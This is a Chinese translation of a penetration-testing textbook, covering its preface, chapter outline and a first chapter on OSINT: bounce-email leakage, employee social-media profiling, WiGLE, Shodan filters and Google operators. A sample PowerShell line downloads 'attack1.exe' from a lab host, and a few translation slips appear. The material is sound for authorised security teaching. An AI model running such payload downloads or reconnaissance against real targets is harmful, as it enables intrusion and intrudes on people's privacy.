从零开始的-Windows-和-Linux-渗透测试-全-

从零开始的 Windows 和 Linux 渗透测试(全)

原文:annas-archive.org/md5/9bdf306f3ae0b1954ace2dcf4a6b275a

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

也许你刚刚完成了一期关于道德黑客的训练营,但仍然无法满足。也许你是一名管理员,意识到是时候了解坏人如何利用这些黑暗技术。也可能是有人误解了你对喜欢鸟窝的热情,在你生日时送了你这本书。无论你是谁(最后那位除外),这本书都适合你。但为什么选择这本书呢?

坦率地说:这个主题往往很枯燥。有时候,感觉作者只是告诉我们事实,提供了讨论中涉及的概念的基础信息。我认为,如果感觉更像是一个互动式学习会话而不是一堂讲座,体验会更愉快。因此,我努力以更加对话和放松的方式讨论渗透测试。阅读这本书应该感觉我们只是在实验室里一起探索这些概念。我想现在的孩子们称之为“共振”。我得问问我的侄女们。

这本书不适合完全的初学者,但适合不同经验水平的人。总体而言,假设你在信息技术和网络安全方面有一些经验和教育。这本书不会“教你如何入侵”,事实上,许多实验室展示的是旧攻击,不太可能在现实环境中成功。然而,它们提供的基础概念仍然非常相关。这些课程对于那些希望理解核心概念并将其转化为现代攻击的人将是有价值的。这本书强调理解而不是盲目跟随步骤。

这本书适合谁

这本书适合渗透测试人员、IT 专业人员以及在展示了在训练营中获得的高级技能后转入渗透测试角色的个人。具有 Windows、Linux 和网络方面的先前经验会很有帮助。

这本书涵盖了什么

第一章开放源情报,介绍了如何利用公开可用的资源,如 Google,收集关于目标的令人惊讶的有用信息。

第二章绕过网络访问控制,检查了如何根据系统的“外观”控制网络访问,并且我们如何调整这种外观。

第三章嗅探与欺骗,探索了拦截数据流(或空中数据)并动态操纵数据的世界。

第四章网络中的 Windows 密码,审查了 Windows 在网络身份验证过程中管理密码的方式以及如何拦截这些尝试。

第五章评估网络安全,提供了一个关于网络分析和使用 Nmap 进行漏洞评估的速成课程,进一步讲解了如何截获数据并注入我们自己的数据,同时回顾了在今天 IPv4 仍占主导地位的世界中 IPv6 的应用。

第六章密码学与渗透测试,探讨了如何利用密码学实现中的漏洞进行攻击。

第七章使用 Metasploit 进行高级利用,深入探讨了 Metasploit 的内部工作原理,以及如何将 Metasploit 生成的有效载荷与其他优秀工具(如 Shellter)结合使用。

第八章Python 基础,从渗透测试者的角度提供了 Python 的速成课程。这一基础知识在本书后续章节中非常有用。

第九章PowerShell 基础,同样提供了一个脚本语言 PowerShell 的速成课程。这一基础知识在后续实验中也会非常有用。

第十章Shellcoding – 栈,回顾了栈的工作原理及其如何被操控。

第十一章Shellcoding – 绕过防护,基于第十章中的栈基础,Shellcoding – 栈,探讨了防御者如何应对这些攻击,以及诸如面向返回的编程(ROP)等攻击如何在这些应对措施面前做出调整。

第十二章Shellcoding – 避开杀毒软件,探讨了当我们利用 PowerShell“生存”时,如何让反恶意软件工具感到困惑,以及 Shellter 动态注入方法的替代方案:洞跳。

第十三章Windows 内核安全,为我们提供了关于如何发现内核弱点的基础知识,并探讨了真实世界中的示例。

第十四章模糊测试技术,提供了模糊测试方法论的实际回顾,以及如何根据测试结果指导漏洞开发。

第十五章超越立足点,探讨了在我们最终在目标系统中建立初步立足点后,如何进行侦察和从这个特权位置进一步发动攻击的步骤。

第十六章提升特权,更深入地探讨了我们如何使用 Metasploit 在本地提升特权,以及如何在我们不知道密码的情况下找到并使用密码。

第十七章保持访问权限,探讨了在成功进入目标环境后,如何保持访问权限,包括利用目标内置功能和专门工具建立抗重启的访问权限。

答案 可以通过提供每章末尾测试题的答案来帮助你检查自己的知识。

为了从本书中获得最大收益

本书的目的是尽可能强调 Kali 的现成功能。许多商业产品没有被提及,或者如果提到的话,实验室中会回顾免费的替代品(例如,免费的 Shellter 版本与 Shellter Pro)。今天的专业渗透测试员拥有丰富的优秀商业工具,但你可以仅凭现有的免费工具成为一名有效的渗透测试员。根据《黑客宣言》,这也是我们在这些讨论中的初衷。

本书使用的 Kali Linux 版本是 2021.1;然而,在接近出版日期时,我使用了 2022.1 版本进行实验室测试,未发现任何问题。处理器和栈的讨论假定为 32 位操作系统。

Kali Linux 可以免费下载。然而,Windows 是收费操作系统。幸运的是,微软提供了 Windows Server 的评估版以及 Windows 7 和 10 的 Edge 开发者版;这些版本被用作实验室中的 Windows 目标。

使用的虚拟化软件是 VMware Workstation,它是收费软件。你可以使用免费的 Oracle VirtualBox 构建类似的环境。

Windows Server 的评估版可以从 www.microsoft.com/en-us/evalcenter/download-windows-server-2016 下载

Windows 7 或 10 的开发者版可以从 developer.microsoft.com/en-us/microsoft-edge/tools/vms/ 下载

下载彩色图片

我们还提供了一个 PDF 文件,里面包含本书中截图和图表的彩色图片。你可以在此下载:packt.link/7UGEZ

使用的约定

本书中使用了多种文本约定。

文本中的代码:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账号。例如:“你也可以使用 from [module] import 来选择你需要的属性。”

一段代码如下所示:

11000000.10101000.01101001.00000000
          Network           Hosts

当我们希望特别指出代码块中的某部分时,相关行或项目会加粗显示:

11111111.11111111.11100000.00000000
   255     255      224       0

任何命令行输入或输出都按以下方式书写:

(New-Object System.Net.WebClient).DownloadFile(“http://192.168.63.143/attack1.exe”, “c:\windows\temp\attack1.exe”)

粗体:表示新术语、重要词汇或屏幕上显示的词语。例如,菜单或对话框中的词语通常以粗体显示。以下是一个例子:“导航到主机 | Nmap 扫描 | 快速扫描(操作系统检测)。”

提示或重要说明

显示如上所示。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果你对本书的任何内容有疑问,请通过电子邮件联系我们:customercare@packtpub.com,并在邮件主题中注明书名。

勘误表:虽然我们已尽最大努力确保内容的准确性,但错误偶尔会发生。如果你在本书中发现错误,感谢你能向我们反馈。请访问www.packtpub.com/support/errata并填写表单。

盗版:如果你在互联网上发现我们作品的任何非法复制版本,感谢你能提供该位置地址或网站名称。请通过电子邮件联系 copyright@packt.com,并附上相关材料的链接。

如果你有兴趣成为作者:如果你在某个领域有专长,且有兴趣撰写或参与书籍的编写,请访问authors.packtpub.com

分享你的想法

阅读完《从零开始的 Windows 和 Linux 渗透测试》后,我们非常希望听到你的反馈!请点击这里直接前往亚马逊的评价页面,并分享你的意见。

你的评论对我们和技术社区非常重要,将帮助我们确保提供优质的内容。

第一部分:侦察和利用

在本节中,我们将首先探讨开源情报OSINT)的概念。然后我们将转向网络。通过本节结束时,您将能够进行复杂的欺骗和足迹技术,以了解网络,从而指导利用目标的努力。

本书的这部分包括以下章节:

  • 第一章, 开源情报

  • 第二章, 绕过网络访问控制

  • 第三章, 嗅探和欺骗

  • 第四章, 网络上的 Windows 密码

  • 第五章, 评估网络安全

  • 第六章, 密码学与渗透测试员

  • 第七章, 使用 Metasploit 进行高级利用

第一章:开源情报

什么把渗透测试pen testing)与非法黑客行为区分开?简单的回答是许可,但是如何定义许可呢?请求渗透测试并意味着你可以肆意黑客。我知道至少有一个渗透测试机构因触碰了不应属于测试的服务器而陷入法律麻烦。这是渗透测试的范围,它在规划阶段就被定义了。它的重要性无法过分强调。然而,这是一本实践性强的技术书籍——我们在这里不会涵盖范围和合作信函的内容。

现在,你正在再次检查章节标题,确保你在正确的地方。你在想:这不是关于开源情报的内容吗? 其实是的,我提到“范围”是因为开源情报OSINT)是一个你无需担心范围狭窄困扰的领域。开源意味着信息已经公开,准备好供你检索。你只需要掌握一些技巧,超越普通的Google用户。在这一章中,我们将更加精确地定义 OSINT——我们将学习如何利用 Google 的复杂功能深入挖掘,足以在你向客户的网络发送任何数据包之前,就令他们感到惊讶,我们还将介绍Kali如何作为你的 OSINT 助手。在接下来的章节中,我们将涵盖这些内容及更多:

  • 明目张胆的隐藏 – OSINT 和被动侦察

  • Shodan的世界

  • Google 的黑暗面

  • 使用 Kali 深入探索 OSINT

技术要求

你需要一台运行Kali** **Linux虚拟机VM)或独立的 PC。我们将在Kali** **2021.1上演示,但第一部分可以在任何连接互联网的计算机上完成。

明目张胆的隐藏 – OSINT 和被动侦察

在本书中,我们将大量使用 Kali Linux,但你为许多客户所做的一些最重要的工作,可以在任何设备上完成,无论是否拥有专用工具集。你可能正在星巴克排队,手里拿着个人智能手机,输入一些巧妙的 Google 查询,哇—你在到达办公室之前就有了惊人的领先优势。然后,你坐到 Kali 前,花半个小时深入挖掘更多信息,而你甚至还没有向目标发送一封数据包。不过,我能听到你在后面问:你提到过“OSINT”和“被动侦察”——它们有区别吗? 这是一个很好的问题,答案却有些烦人:这取决于你问谁。这些术语通常被交替使用,但重要的区别在于你发送数据包的地方:

  • 在纯粹的被动侦察中,你的请求会发送到互联网上任何愿意提出请求的人的多种资源上。但它们并不会进入目标的网络。这也可能意味着你根本没有发送任何数据包——你仅仅是在监听,就像我们在车载无线网络侦察中做的那样。

  • OSINT 可以指这种完全被动的任务,其中不会与目标进行接触,而是使用目标明确为公众使用的资源。你的目标是否允许潜在客户创建一个免费账户?作为渗透测试员,创建一个账户就像潜在客户一样是有必要的,但这可能意味着你正在直接与目标的网络进行通信。正是“为公众使用”这一部分使其成为 OSINT。

听起来这是一个非常重要的区分,对吧?之所以它们常常被视为相同的事情,是因为它们都属于黑箱的范畴——我们对环境的经验就像普通的外部人员,而不是白箱,在白箱测试中,作为渗透测试员,我们完全理解环境的内部工作原理,并根据这些信息调整我们的工作(当然,我们也可以在对环境了解不完全的情况下进行测试,这将是黑箱和白箱的混合,或者是灰箱)。我们现在触及的是渗透测试的哲学——测试在多大程度上能够真实反映现实世界中的潜在攻击?对于我们这些对安全充满热情的人来说,我们坚守香农的法则。也就是说,我们应该始终假设敌人对我们的系统工作原理拥有完全的了解。现实世界中的敌人会在互联网上搜寻关于目标的任何信息。现实世界中的敌人会在目标的服务上创建账户,并花费大量时间获得与任何老手一样的熟悉程度。话虽如此,你的客户可能需要从不同的角度理解他们的环境,而你可能会被禁止使用从注册用户视角获得的信息。另一个考虑因素是时间——你将按照时间表进行操作,而你不希望把评估的其他阶段推得很紧迫。

直接走进去——目标打算展示给世界的内容

你的目标的性质会告诉你他们打算向世界展示多少内容。例如,如果你的目标是一家银行,那么他们会为现有客户提供全面的资源,同时努力吸引新账户持有者。即使是更私密的实体,在某些方面也需要展示自己(例如,需要远程访问的私有网络)。在计算机安全领域有句老话:“最安全的计算机是封在混凝土盒子里并放置在海底的”。如果没人能使用这台计算机,那似乎就浪费了混凝土,因此我们的客户无论如何都会托管服务和网站。

检查目标的网站

我在处理目标时,首先做的事情之一就是浏览他们的网站并选择查看页面源代码。这个截图展示了如何在Microsoft** **Edge中获取源代码,但在任何主流浏览器中,右键点击页面都会弹出相应的选项:

图 1.1 – 在 Microsoft Edge 中查看页面时的右键菜单

图 1.1 – 在 Microsoft Edge 中查看页面时的右键菜单

这个选项会打开一个新标签页并显示页面的HTML源代码。通常,这不会显示任何没有在页面上看到的内容(毕竟它是一种标记语言)。但是,源代码中可能会有一些注释和其他浏览器没有打算显示的内容,它们可以为我们提供有关目标的一些信息,这些信息将帮助我们进行攻击。

在这个客户端中,页面源代码显示了一个名为assets的文件夹:

图 1.2 – 在 Microsoft Edge 中检查页面源代码

图 1.2 – 在 Microsoft Edge 中检查页面源代码

我们看到了指向可以在主机上的assets文件夹中找到的脚本的引用。所以,直接将这个网址输入到地址栏中看看会发生什么——www.your-client.com/assets

图 1.3 – 手动输入资源 URL 后的结果

图 1.3 – 手动输入资源 URL 后的结果

我们甚至什么都没做——只是通过普通的浏览器打开了公共网站——但我们已经看出该主机告诉了我们一些信息:

  • 它是Apache服务器,版本为 2.4.41,运行在Unix(或类 Unix 系统)上。

  • 它的配置不是最安全的。

第二点是最重要的观察。像这样揭示服务器版本真的有那么重要吗?当然,它为我们的研究提供了前瞻性信息,但它并不是一个欢迎的信号。它告诉我们的是管理员对操作安全的总体态度。那种要么不了解,要么不在乎风险的服务器管理员,更可能是那种会在公共论坛上请求帮助的人,比如关于公司新硬件的问题,甚至提供你在评估过程中才会幸运获得的日志。

别那么反社会——检查目标在社交媒体上的存在

我们生活在一个有趣的时代,似乎每个人和他们的祖父母都愿意将所有个人信息分享给社交媒体公司。在我年轻的时候,你会听说那些酷孩子在父母家举办派对,你会想,哇,星期五晚上就该去那里了。今天,你的目标也听到的是关于社交媒体的同样话题——每个人都在FacebookTwitterInstagramTikTok上,所以那就是你将遇到酷孩子(或者潜在客户)的地方。在这个截图中,我们看到我们的目标正在鼓励互动:

图 1.4 – 我们目标主页上的社交媒体链接

图 1.4 – 我们目标主页上的社交媒体链接

你不太可能从目标发布的社交媒体帖子中找到关于他们的有用信息。你更有可能从该社交媒体平台上的其他用户那里找到重要内容。例如,你点击了 Facebook 按钮,最终进入了目标设置的页面。你浏览评论:Jane 是高地分支的总经理,她对我的需求回应非常及时。或者也许是一张公司野餐的照片,得到了 14 个点赞,其中一个是 Jane 的,而且她喜欢在个人资料页面分享宠物、孩子、车、家以及她最喜欢的星巴克拿铁的照片。

我可能听起来像个狂 ranting 的疯子(其实我是,但现在这不重要),但重点是吸收所有这些信息并做好笔记。我们现在正处在书本的第一章,讨论的内容可能正是你与客户评估时的第一章。Jane 给她的狗取名叫 Mr. Scruffles,乍一看可能觉得毫无用处,直到第四天,当你被问到宠物名字的安全问题时。而且还要考虑到,Jane 的 IT 男孩 Dave 是一个流行的 Facebook 小组的成员,这个小组是 IT 管理员吐槽工作的地方;Dave 刚刚度过了一个与Cisco设备打交道的艰难一天,他已经准备好上传诊断文件。

小心行事!

我们正在寻找已经存在的信息。除非你正在进行社会工程评估,否则不要尝试与社交媒体搜索中找到的任何个人进行交流——这绝对不是被动的!

只是在浏览,谢谢——进入目标的环境

等一下。进入目标的环境?现在我知道我走错章节了,你可能会这么想。确实,这就是被动侦察开始与更广泛的 OSINT(开源情报)概念交织在一起的地方。到目前为止,关键词是被动——从旁观者的角度聆听或像开车经过时偷看窗户一样看一眼。现在,关键词变成了开源——我们正在查看那些本应公开的信息。我们将开始变得更勇敢一些。我们不再是象征性地开车经过,而是停下来走进商店四处看看。这是一个对公众开放的门,门前写着开放,所以我们并没有走出开源的范畴。然而,有时我们会从这些比喻性的商店柜台后面获得有趣的信息。

召唤恶魔——那个拼写错误的电子邮件地址

我们每个人都曾经在某个时刻拼错过别人的名字。也许你正在尝试给某个域名的管理员发邮件,结果糟糕的是,你拼错了管理员。哎呀,这双讨厌的手指。正如我的岳母常说的,schlimazel(一个不幸或笨拙的人)。让我们来看看我们发出的邮件:

图 1.5 – 我们发送的探针邮件的头部

图 1.5 – 我们发送的探针邮件的头部

重点是向目标域发送一封邮件,但收件人是我们知道不存在的人。你完全可以让你的猫走过键盘,并使用那个作为收件人——结果将是一样的。然而,这里有一点社交工程的成分。以防有人在查看这些,我的信息更可能看起来像是与企业或政府机构进行合法沟通的尝试。一个被敲碎键盘的邮件地址和正文会看起来像是故意挑衅回应的尝试。如果你真的以客户的身份进行友好对话并与对方互动,但让你的某一封邮件有一个打错的收件人地址,那就更得分了。通过向一个不存在的邮箱地址发送邮件,我们会引发一个弹回信息。与发送邮件到一个不存在的域名不同,只有目标环境才能知道用户是否存在。弹回信息会来自目标环境,并且通常包含故障排除信息,其中包含一些对我们这些新手黑客来说非常有用的信息。让我们来看看来自我们客户端的未送达报告:

图 1.6 – 弹回信息的头部

图 1.6 – 弹回信息的头部

我最喜欢的部分是这个弹回信息中的管理员诊断信息。哇哦,这真是太有帮助了,谢谢!

我之前提到过这一点,这应该是整个 OSINT 阶段的座右铭:这不完全是一个欢迎垫。这不是进入王国的钥匙,也不是一部电影——无论多么拼命的敲打键盘,都不会改变我们在评估中的位置。但让我们一步一步地看看我们学到了什么:

  • 生成此报告的服务器是ME-VM-MBX02,其 IP 地址是10.255.134.142。合理的推测这是一个虚拟机,因为 IT 人员通常在内部命名约定中会加入 VM 缩写。这使得从外观上更容易判断可能需要进行什么样的故障排除。

  • ME-VM-MBX02(我们的报告生成服务器)传递此信息的服务器是ME-VM-CAS02,其 IP 地址是10.255.134.14010.255.27.36

  • 将此信息传递给CAS02主机的服务器是ME-VM-MAILGW01,其 IP 地址是10.255.134.160GW 可能表示 网关

希望你已经注意到重要的部分。没错,那些是十点地址。为了复习,10.0.0.0/8地址块被预留为私有地址空间,按照互联网号码分配局IANA)的定义(如果你称它们为十点或者十斜线八,你会变得很酷)。10.0.0.0/8地址块不是公开可路由的,那么作为外部人员我们为什么要关心呢?显然,我们从外围获取信息。我们还注意到了什么?来看看这一行:

Microsoft SMTP Server (TLS) id 15.0.1497.2

让我们回到我们信赖的搜索引擎,搜索Microsoft15.0.1497.2。结果排在前面的是?Exchange Server 的构建号和发布日期。在页面上搜索这个构建号,我们发现是 Exchange Server 2013 CU(累积更新)23,于 2019 年 6 月 18 日发布。好吧,我现在在 2021 年写这篇文章,几乎过去了两年,所以又得回到搜索引擎尝试这个:漏洞2013 CU23。我们找到了CVE-2021-28480CVE-2021-28481CVE-2021-28482CVE-2021-28483——远程代码执行漏洞。我们已经有一个内部子网可以调查:10.255.0.0/16。不得不承认,考虑到我们仅仅是发了一封邮件,这个结果还不错。因此,又一个提醒来了:做好笔记。记录下你做的每一件事。不要省略屏幕截图——有时我工作时会录制屏幕。

我认识一个人——为你做探测服务

在我年轻的时候,我们要走 15 英里雪地路才能到达渗透测试地点。那时候我们甚至没有电脑——我们用空豆罐子和一根线连接它们来发送和接收数据包。好了,我开玩笑的,但现在的年轻人确实和以前不一样。现在的世界有很多工作可以轻松完成,我喜欢把它叫做EaaS一切即服务。对于渗透测试人员来说,这一点很重要,因为它让你能在有限的时间内做更多的事——你和客户的合作时间是有限的,时间永远不够用。在评估的各个阶段,你都会利用省时的措施(你好,脚本能力),但 OSINT 也不例外——即便我们还没坐下来使用 Kali。让我们来看看。

安全头扫描器

网上有几个这样的工具。尝试在搜索引擎中输入安全头扫描器。其中一个比较好的工具是SecurityHeaderScanner.com,这是我为这个客户端示例使用的服务:

图 1.7 – 从 SecurityHeaderScanner.com 扫描我的客户端后的结果

图 1.7 – 从 SecurityHeaderScanner.com 扫描我的客户端后的结果

哎呀。那看起来像是我高中二年级的成绩单(抱歉,爸妈)。在这个特别的评估中,我能够利用这些信息成功地实施跨站脚本攻击点击劫持表单劫持攻击。当然,我本可以手动搞定这一切,但节省的时间增加了你为客户提供的价值。

这是一个针对目标提供的公共资源进行实时测试的示例——我们请求这个特定的服务现在访问该网站并告诉我们它看到的内容。另一种看待这个操作系统情报(OSINT)前 Kali 阶段的方法是收集那些已经被所有爬虫在互联网上 24/7/365 地浏览的资源。我们需要意识到其中的差异,因为我们从这些资源中找到的信息并不是实时的,并且在你评估时可能并不准确。

开源无线分析与 WIGLE

如果我没有在使用那些已经为我们进行探测的站点进行开源挖掘时提到wigle.net,我永远都不会原谅自己。不过这个站点特别——它是一个真正的众包项目。像 Shodan 这样的资源是拥有自己探测和爬虫机器的组织。它们的目标是让你访问他们用自己硬件建立的数据库。而WIGLE则是世界各地志愿者 wardrivers 用他们自己的硬件和交通工具收集到的数据集合。

注意

如果这个术语不熟悉,wardriving是指带着一台设备在某个区域内移动,设备配置成能够检测并报告无线网络。这个名称暗示着开车,因为开车是覆盖大范围区域的好方法,但你也可以进行 warbiking(骑车)、warwalking(步行)甚至发射 wardrone(无人机)或 warkitteh(某人将 Wi-Fi 嗅探硬件装到他的户外猫的项圈上)。我现在还不确定 warscooting(滑板车)是否已经成为一种流行方式。

在撰写本文时,wigle.net 包含了关于 7.45 亿个网络的信息,这些信息来自 105 亿 次独立观察。观察的关键是设备侦察和GPS数据的结合,使你能够将观察结果定位到地图上。请记住,这些位置是观察发生的地点,而不是接入点的位置。当你放大地图时,这一点会变得更加清晰,如下图所示:

图 1.8 – 在 wigle.net 上放大一个社区

图 1.8 – 在 wigle.net 上放大一个社区

你可以看到观察点主要集中在道路上,这表明观察者是在用笔记本电脑或智能手机四处驾驶。但你也可以看到一些位于开阔地带的点,比如前面截图中的消防员公园,或者甚至在海洋的中央,如下图所示:

图 1.9 – 从北大西洋的 wardriving 观察

图 1.9 – 来自北大西洋的 Wardriving 观察数据

这些观察结果可能与航道甚至空中航线相关。这应该能让你对这个数据集的庞大规模有一个初步的了解。

作为一名勇敢的开源调查员,它对你有用的地方在于,可以在不亲自到现场的情况下收集有关无线网络的信息。对于一些客户来说,这可能并不重要。但对于那些可能物理分布较广的客户,比如大型数据中心或众多独立设施,某些网络位置的侦察可能会非常有用。同样,我们所说的位置指的是可以进行观察的区域。无线网络的功率较低,而且大多数 wardriver 在开车时并没有携带特别高增益的天线,所以你可以假设你会在几条街区内,甚至更近的地方。

Shodan 的世界

有一个网站你可能已经知道,如果不知道,准备花几个小时来探索它的宝藏:shodan.io。在我那时,当你看到一个设备在网络上传输数据帧时,你就知道那是计算机。如今,各种各样的设备都有网络连接能力,你的冰箱也许正是这个我们称之为互联网的庞大树枝上的另一个新芽。这个快速增长的连接性以及它对我们日常生活的渗透,对于我们这些安全极客来说,确实令人担忧,但今天我们不打算进行哲学探讨。重点是,在这个过程中,一些聪明的人意识到,爬网查看哪些系统是开放的并准备好进行交流,将会是非常有趣的,尤其是当新的“树叶”开始冒出来时。于是,Shodan 应运而生。

这个名字最初来自于一款经典的 1990 年代视频游戏系列,System ShockSHODAN代表Sentient Hyper-Optimized Data Access Network。在经典的科幻情节中,SHODAN 最初是人工智能,其目的是帮助人类……但某些事情出错了。你大概明白了。想想终结者系列中的Skynet,或I, Robot中的V.I.K.I.。人工智能变得不正常,决定将人类视为需要被消灭的有害虫子。共同点在于,人工智能被赋予了过多的权限来访问全球系统,以便完成它的任务。当 SHODAN 控制了众多分散的系统后,shodan.io 的创始人 John Matherly 认为这是一个合适的参考。

需要明确的是,Shodan 并不是一个旨在消灭全人类的网站(不过这会是一个很棒的电影)。这里提到的“不同的系统”部分就是那个令人毛骨悚然的地方,因为 Shodan 在互联网上爬行,只是在后巷里戳戳那些没有锁上的门。如果你想找到摄像头、缺少牛奶的冰箱,或者——更可怕的是——大型工厂内部的SCADA系统,那就来 Shodan 查查看吧。你作为黑客应该意识到的是类似这样的事情:那如果有一个 SSH 服务器运行在意料之外的端口上,试图藏匿在明处呢? 非常棒的思路。我们希望专注于那些已经被别人嗅探到的客户资源。假设你的客户真的在 2222 端口上运行 SSH(这出乎意料地常见,Shodan 会告诉你)。我们在评估的发现阶段已经领先一步,而且再次强调,我们并没有发送任何数据包。是 Shodan 的爬虫发送了数据包。

这里的一般原则是横幅抓取。横幅不过是一些基于文本的消息,用来欢迎连接到特定服务的客户端。它们对于这些服务器的合法管理员非常有用,帮助他们列出资产和排除故障。假设你有大量服务器,托管着某个特定的服务,并且你想验证每台主机上运行的版本。你可以编写一个小脚本,启动这些连接,在横幅中找到版本号,并将其整理成一个整洁的列表显示在屏幕上。它们对于在我们开发对目标的攻击时,极其有助于缩小关注点。稍后我们会在 Kali 上实践横幅抓取。与此同时,我们将利用已经有人查看过互联网服务层面信息的事实,我们的工作就是看看客户在对外展示什么。你会在评估过程中一次又一次地惊讶于客户对他们名字在外面浮动的信息知道得有多么少。

横幅抓取是渗透测试中值得关注的发现吗?

发现的内容会根据整体风险评级进行分级。在风险管理方面,企业考虑几个因素:漏洞被利用的可能性有多大,利用后会带来多大影响。一个漏洞是否非常不可能被利用,如果被利用,会不会威胁到整个组织?这将被视为更高风险。横幅抓取属于非常可能(由于其简单性)和影响非常低的类别。记住,你工作中的一个重要部分是教育客户这些技术是如何运作的。是的,这将是一个低风险的发现。但如果你的横幅抓取缩小了你的关注范围并节省了时间,从而在漏洞利用后留出更多时间进行更深入的渗透和窃取资源,它就应该出现在报告中。这是攻击的一部分!

Shodan 搜索过滤器

你可以从简单的开始,比如输入一个 IP 地址或服务名称。例如,我们可以尝试 远程桌面协议RDP)或 Samba。但是,为了将这个全球视角变成一个精密的显微镜,我们需要应用搜索过滤器。格式非常简单:你只需用冒号(:)将过滤器名称与查询分开。一个非常便捷的方式是通过在过滤器名称前加一个减号(-)来否定某个查询。让我们来看一下可用的过滤器,然后再看一些示例。

  • asn: 按自治系统编号(ASN)进行搜索。自治系统AS)是由一个或多个实体运营的一组 IP 前缀,用于维护一个清晰的路由策略,允许这些实体与其他 ISP 交换路由。这个搜索在你寻找由一个或多个此类实体控制的主机时非常有用,这些实体通过它们分配的 ASN 来定义。

  • city: 按主机所在的城市进行搜索。

  • country: 按照 ISO 3166 标准,使用 alpha-2 代码按国家进行搜索。

  • geo: 允许你指定地理坐标。将特定主机与其地理坐标关联往往不太可靠,所以最好使用此过滤器设定一个范围。在你想要搜索的区域画一个框,并获取框左上角和右下角的纬度/经度对。例如,搜索 geo:12.63,-70.10,12.38,-69.82 会返回阿鲁巴岛上任何地方的结果。

  • has_ipv6: 搜索是否支持 IPv6;期望值为 true(或 1)或 false(或 0)。

  • has_screenshot: 返回包含截图的结果。这对于 RDPVNC 等功能很有用。期望布尔值 true**/**false1**/0**)。

  • has_ssl: 显示支持 SSL 的服务。期望值为 true(或 1)或 false(或 0)。

  • hash: 每个被 Shodan 抓取的页面都会被哈希处理。这个功能对于查找包含相同文本的页面很有用,但你可能会结合否定符号(-)和零来跳过那些横幅为空的结果,像这样:-hash:0

  • hostname: 指定主机名或其一部分。

  • ip: 与 net 相同,这让你可以在 CIDR 格式中指定一个 IP 范围。

  • isp: 查看特定 ISP 的网络。

  • net: 与 ip 相同,这让你可以在 CIDR 格式中指定一个 IP 范围。

  • org: 这是指定组织名称的地方。

  • os: 非常实用——指定操作系统。

  • port: 检查特定端口。否定此过滤器对于查找运行在非标准端口上的服务尤其有用。例如,ssh -port:22 将查找所有不在标准 SSH 端口上的 SSH 实例。

  • product: 用于缩小正在运行的服务的特定产品范围的关键选项。例如,product:Apache -port:80,443 将查找任何运行在非标准端口上的 Apache 服务器。

  • version:用于针对特定产品版本号。

    注意

    我们现在讨论的是基本用户可以使用的过滤器。如果你的预算允许,小型企业和企业账户可以使用更复杂的过滤器。

让我们看看如何缩小结果范围,专注于我们需要的内容。首先,假设我们的目标在墨西哥城:

city:"Mexico City"

想了想,我想确保覆盖到包括墨西哥城在内的区域。所以,我会尝试这个:

geo:19.58,-99.37,19.21,-98.79

现在,我想查找任何非标准端口上的 SSH:

geo:19.58,-99.37,19.21,-98.79 ssh -port:22

而且我只想要 Debian 主机:

geo:19.58,-99.37,19.21,-98.79 ssh -port:22 os:Debian

最后,假设我知道目标的子网是 187.248.0.0/17

geo:19.58,-99.37,19.21,-98.79 ssh -port:22 os:Debian net:187.248.0.0/17

这样,我按下 Enter 键,看看 Shodan 为我准备了什么:

图 1.10 – 锁定我的目标

图 1.10 – 锁定我的目标

当我开始查看墨西哥城地区时,我有 150 万个结果需要筛选。通过精确调整,我将列表缩小到仅两个服务器。这是一个完全随机的示例,目的是为了演示——当你为特定客户进行研究时,你可能会尝试 org 过滤器,或许还有 asn 过滤器,以及你能用上的其他任何工具。

Google 的黑暗面

在我们到达桌前,Kali 迫不及待地等待时,我们的最后一站是 Google。不,我们不是去查天气,或者找出为什么我们叫那些有刺的动物 刺猬(显然,它是拉丁语中的 porcus(猪)和 spina(刺,脊柱)——谁知道呢?)。我们将利用 Google 搜索的外科手术刀:操作符。保持和 Shodan 一样的精神——用冒号(:)将操作符和查询分开,中间不加空格。不过,Google 允许我们进行相当高级的操作。

哒哒

这里的概念同样适用于 Bing 搜索引擎(不过,你需要查看他们帮助页面上的操作符详情)。作为一个独立的搜索引擎,你可能会在 Bing 上找到 Google 没有的结果,反之亦然。值得检查所有选项!

Google 的高级操作符

首先,让我们讨论一下普通网页的构成。当然,你需要输入网址到浏览器中,并与朋友分享。然后,你会有网页的标题,而这个区别是技术性的——它将会用 <title> 标签在 HTML 中明确地格式化。你还会有网页的文本,它基本上是网页上除了标题和网址之外的所有内容。我们这些渗透测试人员关注这一点有三个原因:

  • Google 可以找到管理员可能忽视了他们帖子公开性质的内容,包括谈论特定客户及其管理的产品。

  • Google 可以找到那些可能已经危害了你的客户、合作伙伴或员工的坏人留下的东西。

  • 带有网页门户的服务会有可以区分它们的签名。例如,URL 中使用特定的词(如admin),或者页面文本中包含产品、版本或公司名称等等。

Google 旨在为普通用户设计,使用其精巧的算法找到你想要的东西,甚至是你没意识到你需要的东西。不过,它也为高级用户做好了准备。你只需要知道如何与它对话。有两种方法可以做到这一点:直接使用操作符,或通过高级搜索功能。让我们来看看可以直接使用的不同操作符:

  • intitle: 返回标题中包含你的查询内容的页面。

  • inurl: 返回 URL 中包含你查询内容的页面。

  • allintitle**: **allin查询是特殊的——它们只会返回包含你所有多个关键词的结果。例如,allintitle:"Satoshi" "identity" "bitcoin" "conspiracy"将返回包含这四个词的页面,但不会返回只包含三个词的页面。

  • allinurl: 这只会返回所有查询词都出现在 URL 中的页面。

  • allintext: 仅返回页面文本中包含所有查询词的页面。

  • filetype: 一个非常强大的选项,允许你指定文件类型。例如,filetype:pdf将返回符合你搜索条件的 PDF 文档。

  • link: 另一种特殊的微调选项,它会搜索包含指向你在此处指定的 URL 或域名的链接的页面。

就像在 Shodan 中一样,你可以用破折号(-)来否定一个选项。例如,我可以搜索explorer这个词并避免有关汽车的页面,通过explorer –ford。你还可以通过OR操作符查找可能包含一个或多个术语的页面(与allin选项不同)。例如,以下搜索只会返回包含所有四个词汇的页面:

allintext:"Satoshi" "identity" "bitcoin" "conspiracy"

然而,接下来的例子将返回提到任何一个术语的页面:

"Satoshi" OR "identity" OR "bitcoin" OR "conspiracy"

顺便说一下,OR的一个常用简写是管道符号(|)。所以,下面的搜索与之前的搜索是相同的:

"Satoshi" | "identity" | "bitcoin" | "conspiracy"

高级搜索页面

Google 使得用户体验更加友好——只需在google.com的 URL 后添加advanced_search,如下面的截图所示:

图 1.11 – Google 的高级搜索窗口

图 1.11 – Google 高级搜索窗口

